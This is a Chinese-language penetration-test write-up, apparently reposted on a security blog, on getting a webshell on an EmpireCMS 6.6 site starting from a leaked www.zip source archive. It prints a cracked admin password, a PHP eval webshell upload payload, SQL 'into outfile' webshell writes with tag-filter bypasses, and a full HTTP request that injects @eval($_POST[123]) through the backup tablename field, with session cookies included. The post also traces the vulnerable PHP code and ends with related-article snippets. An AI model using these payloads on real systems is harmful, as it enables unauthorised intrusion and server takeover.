<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    滲透測試 | 源碼泄露到getshell

    VSole2022-01-27 06:06:55

    前言

    文章所述漏洞已經提交至漏洞平臺,且所有惡意操作均已復原

    源碼泄露

    http://www.xxx.com.cn/www.zip
    

    老規矩拿到源碼先通關關鍵詞找敏感信息

    key
    pwd
    passwd
    password
    

    找到了半天居然找不到一個有效的密碼

    最后在robots.txt中看到CMS的信息-EmpireCMS

    查詢知道是開源cms后,直接百度查詢數據表結構

    知道了管理員記錄表為phome_enewsuser,在源碼里全局搜索

    敏感信息泄露

    點擊進去得到管理員用戶名,密碼hash和鹽值

    直接解md5得到口令

    Kite/kite
    

    得到口令后就是找到后臺地址,由于是開源的百度一下就有了

    看一眼目錄并沒有修改后臺地址,所以直接訪問

    http://www.xxx.com.cn/e/admin/
    

    得到具體的版本號為6.6

    歷史漏洞

    登錄到后臺后,因為是開源CMS,歷史漏洞才是滲透的關鍵

    直接搜索empireCMS漏洞,開始復現歷史漏洞

    1.后臺-模版-公共模版-js調用登陸模版getshell

    還沒有開始就已經結束

    Table 'hdm1010482_db.phome_enewstempgroup' doesn't exist
    

    好家伙,這是把表都刪了嗎

    2.后臺數據表與系統模型-導入數據庫模型getshell

    EmpireCMS 7.5以及之前版本中的e/class/moddofun.php文件的LoadInMod函數存在安全漏洞。攻擊者可利用該漏洞上傳任意文件。


    在本地先新建一個test.php.mod文件,內容為

    php file_put_contents("lyy.php","php @eval(\$_POST['lyy']); ?>");?>
    

    填入任意表名然后選擇馬上導入

    又是一個表不存在,GG

    3.后臺備份與恢復數據-執行sql語句getshell

    EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代碼注入漏洞。

    也就是后臺提供了一個sql語句執行

    只要服務器mysql配置secure_file_priv 不當,就可以向服務器寫入文件

    Payload

    select '' into outfile '絕對路徑/e/admin/lyy.php'
    


    因為要向站點寫入文件,所以必須知道絕對路徑才行。

    因為是無回顯執行,也不能通過show mysql變量獲取部分路徑,所以也pass了

    show variables like '%datadir%';
    

    4.后臺備份與恢復數據-備份數據getshell

    empirecms 7.5版本及之前版本在后臺備份數據庫時,未對數據庫表名做驗證,通過修改數據庫表名可以實現任意代碼執行。


    選擇任意一個表,開始備份抓包


    將tablename字段改為payload

    @eval($_POST[123])
    


    請求包

    POST /e/admin/ebak/phome.php HTTP/1.1
    Host: www.xxx.com.cn
    Content-Length: 285
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://www.xxx.com.cn
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://www.xxx.com.cn/e/admin/ebak/ChangeTable.php?mydbname=hdm1010482_db
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: bxubwecmsdodbdata=empirecms; bxubwloginuserid=1; bxubwloginusername=Kite; bxubwloginlevel=1; bxubweloginlic=empirecmslic; bxubwloginadminstyleid=1; bxubwloginrnd=F3JiUXpyeXm6mWPTsdUG; bxubwloginecmsckpass=e816ccfcb01f4ed8ee0ad531de6fa67c; bxubwtruelogintime=1640762619; bxubwlogintime=1640762630
    Connection: close
    phome=DoEbak&mydbname=hdm1010482_db&baktype=phpinfo()&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=hdm1010482_db_20211229152350&insertf=replace&waitbaktime=0&readme=&autofield=&tablename%5B%5D=@eval($_POST[123])&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD
    


    回顯得到備份文件夾名

    hdm1010482_db_20211229152350
    


    webshell連接備份文件夾下的config.php

    http://www.xxx.cn/e/admin/ebak/bdata/hdm1010482_db_20211229152350/config.php
    


    成功getshell

    原理分析

    因為手里有源碼,就跟了一下這個漏洞

    首先定位

    直接全局搜索config.php就找到了

    在e/admin/ebak/class/functions.php文件中Ebak_DoEbak存在文件寫入操作

    $string="    \$b_table=\"".$b_table."\";
        ".$d_table."
        \$b_baktype=".$add['baktype'].";
        \$b_filesize=".$add['filesize'].";
        \$b_bakline=".$add['bakline'].";
        \$b_autoauf=".$add['autoauf'].";
        \$b_dbname=\"".$dbname."\";
        \$b_stru=".$bakstru.";
        \$b_strufour=".$bakstrufour.";
        \$b_dbchar=\"".addslashes($add['dbchar'])."\";
        \$b_beover=".$beover.";
        \$b_insertf=\"".addslashes($insertf)."\";
        \$b_autofield=\",".addslashes($add['autofield']).",\";
        \$b_bakdatatype=".$bakdatatype.";
        ?>";
        $cfile=$bakpath."/".$add['mypath']."/config.php";
        WriteFiletext_n($cfile,$string);
    

    可以看到直接對$d_table變量進行拼接

    再看看寫函數WriteFiletext_n

    也沒有對寫入內容進行過濾,那么只需要知道如何控制$d_table變量值即可

    crtl+左鍵跟到上面

    而$count是$tablename的數量,$tablename是$add中tablename的鍵值

    找到調用Ebak_DoEbak函數的位置,知道$add就是$_POST

    那就很清楚了,他對POST傳參的tablename進行了處理產生兩個變量

    $b_table和$d_table,其中$b_table是被雙引號包裹無法利用的

    但是$d_table沒有雙引號被包裹,且沒有任意過濾直接寫入.php文件,導致命令執行

    為什么不是其他參數?

    其他參數大部分是被雙引號包裹的

    沒有被雙引號包裹的參數都被強轉int,如果傳str會返回0 所以pass

    3的后續

    在通過漏洞4獲得站點真實路徑后我又構造sql語句,嘗試向站點直接webshell

    select '' into outfile '/data/home/hmu072095/htdocs/e/admin/lyy.php'
    

    雖然爆了一個數據庫連接錯誤,但是語句被成功執行,只是被寫入的內容被替換成了空

    可以成功訪問但沒有內容

    可以寫入正常字符

    select 'test' into outfile '/data/home/hmu072095/htdocs/e/admin/1.txt'
    

    初步判斷是對php標簽做了過濾,嘗試其他寫法進行繞過

    1.select ' phpinfo(); ?>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'
    2.select '<script language="php"> phpinfo(); script>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'
    3.select ' @eval($_POST[1])?>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'
    


    只有最后的asp風格成功寫入

    嘗試訪問無法執行 查了一下linux上默認不開PHP短標簽配置項,溜了溜了

    后記

    還是以備份文件泄露為入口,最后成功getshell。因為是開源的CMS,主要進行測試歷史漏洞,由于二開的魔改,一次的滲透流程相當于把EmpireCMS的能getshell的歷史漏洞基本復現了一遍,還是有一點收獲的。

    滲透測試php源碼
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前言:滲透測試的時候往往會遇到盲注這類的繁雜的手工測試,所以需要編寫半自動化腳本去進行測試減少時間浪費并快速
    0x01 苦逼的測試任務 某一天,我照常在學校的CTF群和學長吹水,突然管事的學長在群里發了一張圖,這個月輪到我們學校對省內的某旅游相關企業進行漏洞測試。上面的老師自然而然把這個任務分配給我們CTF戰隊,要求是找到漏洞,能Getshell的點證明能Getshell即可,不要深入利用。
    找到了半天居然找不到一個有效的密碼最后在robots.txt中看到CMS的信息-EmpireCMS查詢知道是開源cms后,直接百度查詢數據表結構知道了管理員記錄表為phome_enewsuser,在源碼里全局搜索敏感信息泄露點擊進去得到管理員用戶名,
    常見滲透測試靶場
    2022-05-12 06:47:27
    作為新手,通常第一個聽說的靶場應該就是DVWA,部署簡單安裝完對應版本的PAM(PHP-Apache-MySQL),簡單配置后就可以使用。 1、DVWA靶場可測試漏洞:暴力破解(Brute Force)、命令注入(Command Injection)、跨站請求偽造(CSRF)、文件包含(File Inclusion)、文件上傳(File Upload)、不安全的驗證碼(Insecure CAPT
    一般網站主站信息都比較少,我們需要在滲透測試過程的信息搜集階段,我們可能會自動化工具獲得來網站其他路徑如:后臺、其他未授權訪問路徑,掃描得到敏感文件的路徑,從而找到敏感數據。 根據路徑爆破工具進行使用與測評分析工具的特點,批量訪問發現的路徑查找敏感路徑。工具爬蟲掃描得到敏感文件的路徑,找到敏感數據。
    信息搜集先來看看目標站點的各種信息后端PHP,前端使用layui,路由URL規則看起來像ThinkPHP,那自然想到的是ThinkPHP那些年爆發的命令執行了,準備一把梭!然而,嘗試了一番,并沒有歷史漏洞。0x02 常見漏洞利用寶塔和FastAdmin,首先FastAdmin印證了是ThinkPHP的猜測,有寶塔可以嘗試利用寶塔的phpmyAdmin未授權訪問漏洞進行利用。另外由于各個站點之間沒有隔離,旁站的shell和目標站點的shell沒有差別,無需繼續,至此滲透結束。
    起因,由于前幾天拿了一個菠菜站的webshell,但是只有iis權限,執行無法創建用戶等操作,更無法對整個服務器進行控制了,于是此時便需要提權了,對于一個剛剛入門的小白來說,此刻真正意識到了提權的重要性,于是便開始學習提取相關知識,以拿下該菠菜的站點。提權前的準備工作1,通常來說,不同的腳本所處的權限是不一樣的。
    提權需要的東西有點兒多,筆記里出現的工具不建議在百度上下載。如果支持aspx,可以上傳aspx,通過aspx大馬,直接調用默認cmd掃描掃出了其他人的大馬可以嘗試用?
    實戰繞過WAF,進入內網,靶機滲透
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类